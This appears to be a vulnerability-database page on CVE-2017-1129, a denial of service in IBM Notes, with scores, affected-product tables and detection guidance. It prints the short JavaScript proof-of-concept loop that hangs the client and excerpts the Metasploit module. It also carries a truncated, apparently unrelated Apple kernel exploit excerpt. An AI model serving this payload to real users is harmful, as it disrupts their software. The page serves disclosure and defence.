CVE-2017-1129
published 2017-09-05CVE-2017-1129: IBM Notes 8.5 and 9.0 is vulnerable to a denial of service. If a user is persuaded to click on a malicious link, it could cause the Notes client to hang and…
PriorityP344medium6.5CVSS 3.0
AVNACLPRNUIRSUCNINAH
EXPLOIT
EPSS
30.07%
98.0th percentile
IBM Notes 8.5 and 9.0 is vulnerable to a denial of service. If a user is persuaded to click on a malicious link, it could cause the Notes client to hang and have to be restarted. IBM X-Force ID: 121370.
Affected
25 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| ibm | expeditor | — | — |
| ibm | expeditor | — | — |
| ibm | expeditor | — | — |
| ibm | inotes | — | — |
| ibm | inotes | — | — |
| ibm | inotes | — | — |
| ibm | inotes | — | — |
| ibm | inotes | — | — |
| ibm | inotes | — | — |
| ibm | inotes | — | — |
| ibm | inotes | — | — |
| ibm | inotes | — | — |
| ibm | inotes | — | — |
| ibm | inotes | — | — |
| ibm | inotes | — | — |
| ibm | inotes | — | — |
| ibm | inotes | — | — |
| ibm | lotus_expeditor | — | — |
| ibm | lotus_expeditor | — | — |
| ibm | lotus_expeditor | — | — |
| ibm | notes | — | — |
| ibm | notes | — | — |
| ibm | notes | — | — |
| ibm | notes | — | — |
| ibm | notes | — | — |
Detection & IOCsextracted from sources · hover to see the quote
commandwhile (true) try { var object = { }; function d(d0) { var d0 = (object instanceof encodeURI)('foo'); } d(75); } catch (d) { }↗
commandwhile (true) try { var object = { }; function g(f0) { var f0 = (object instanceof encodeURI)('foo'); } g(75); } catch (g) { }↗
urlhttps://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/dos/http/ibm_lotus_notes.rb↗
- →Detect HTTP responses serving the IBM Notes encodeURI DoS payload by inspecting for the characteristic JavaScript pattern: an infinite while-loop combining 'instanceof' with 'encodeURI' as a constructor check on a plain object, e.g. `(object instanceof encodeURI)('foo')`. ↗
- →The Metasploit auxiliary module `auxiliary/dos/http/ibm_lotus_notes` delivers the payload via an HTTP server; monitor for HTTP servers serving HTML pages containing the encodeURI infinite-loop construct to IBM Notes clients. ↗
- →The exploit is triggered when a user clicks a malicious link that loads the crafted HTML/JS page; look for IBM Notes process hangs following outbound HTTP requests to untrusted hosts. ↗
- ·The DoS is triggered entirely client-side via JavaScript in the IBM Notes native browser; no server-side configuration is required by the attacker beyond serving the malicious HTML page. ↗
- ·Affected versions are IBM Notes 8.5 and 9.0 only; detection rules should be scoped accordingly to avoid false positives on other browsers. ↗
CVSS provenance
nvdv3.06.5MEDIUMCVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H
nvdv2.04.3MEDIUMAV:N/AC:M/Au:N/C:N/I:N/A:P
CVEs like this are exactly what “Exploited This Week” covers.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
No detection rules found.
Exploit-DB
IBM Notes 8.5.x/9.0.x - Denial of Service
exploitdb·2017-09-02·CVSS 6.5
CVE-2017-1129 [MEDIUM] IBM Notes 8.5.x/9.0.x - Denial of Service
IBM Notes 8.5.x/9.0.x - Denial of Service
---
# Exploit Title: IBM Notes is affected by a denial of service vulnerability
# Date: 31 August 2017
# Software Link: https://www-01.ibm.com/support/docview.wss?uid=swg24037141
# Exploit Author: Dhiraj Mishra
# Contact: http://twitter.com/mishradhiraj_
# Website: http://datarift.blogspot.in/
# CVE: CVE-2017-1129
# Category: IBM Notes (Console Application)
1. Description
IBM Notes is vulnerable to a denial of service involving persuading a user to click on a malicious link, which would ultimately cause the client to have to be restarted.
2. Proof of concept
while (true) try {
var object = { };
function g(f0) {
var f0 = (object instanceof encodeURI)('foo');
}
g(75);
} catch (g) { }
3. IBM Security Bulletin
www-01.ibm.com/support/docview.
Exploit-DB
IBM Notes 8.5.x/9.0.x - Denial of Service (Metasploit)
exploitdb·2017-08-31
CVE-2017-1129 IBM Notes 8.5.x/9.0.x - Denial of Service (Metasploit)
IBM Notes 8.5.x/9.0.x - Denial of Service (Metasploit)
---
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule "IBM Notes encodeURI DOS",
'Description' => %q(
This module exploits a vulnerability in the native browser that
comes with IBM Lotus Notes.
If successful, it could cause the Notes client to hang and have
to be restarted.
),
'License' => MSF_LICENSE,
'Author' => [
'Dhiraj Mishra',
],
'References' => [
[ 'EXPLOIT-DB', '42602'],
[ 'CVE', '2017-1129' ],
[ 'URL', '
http://www-01.ibm.com/support/docview.wss?uid=swg21999385' ]
],
'DisclosureDate' => 'Aug 31 2017',
'Actions' => [[ 'WebServer' ]],
'PassiveActions' => [ 'WebServer' ],
'DefaultAction' => 'WebServer'
)
)
end
def ru
Exploit-DB
Apple macOS/iOS Kernel 10.12.3 (16D32) - Double-Free Due to Bad Locking in fsevents Device
exploitdb·2017-04-04
CVE-2017-2490 Apple macOS/iOS Kernel 10.12.3 (16D32) - Double-Free Due to Bad Locking in fsevents Device
Apple macOS/iOS Kernel 10.12.3 (16D32) - Double-Free Due to Bad Locking in fsevents Device
---
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1129
fseventsf_ioctl handles ioctls on fsevent fds acquired via FSEVENTS_CLONE_64 on /dev/fsevents
Heres the code for the FSEVENTS_DEVICE_FILTER_64 ioctl:
case FSEVENTS_DEVICE_FILTER_64:
if (!proc_is64bit(vfs_context_proc(ctx))) {
ret = EINVAL;
break;
}
devfilt_args = (fsevent_dev_filter_args64 *)data;
handle_dev_filter:
{
int new_num_devices;
dev_t *devices_not_to_watch, *tmp=NULL;
if (devfilt_args->num_devices > 256) {
ret = EINVAL;
break;
}
new_num_devices = devfilt_args->num_devices;
if (new_num_devices == 0) {
tmp = fseh->watcher->devices_not_to_watch; watcher->devices_not_to_watch = NULL;
fseh->watcher->num_devices
Metasploit
IBM Notes encodeURI DOS
metasploit
IBM Notes encodeURI DOS
IBM Notes encodeURI DOS
This module exploits a vulnerability in the native browser that comes with IBM Lotus Notes. If successful, it could cause the Notes client to hang and have to be restarted.
No writeups or analysis indexed.
http://www.ibm.com/support/docview.wss?uid=swg21999385http://www.ibm.com/support/docview.wss?uid=swg22002103https://exchange.xforce.ibmcloud.com/vulnerabilities/121370https://www.exploit-db.com/exploits/42602/http://www.ibm.com/support/docview.wss?uid=swg21999385http://www.ibm.com/support/docview.wss?uid=swg22002103https://exchange.xforce.ibmcloud.com/vulnerabilities/121370https://www.exploit-db.com/exploits/42602/
2017-09-05
Published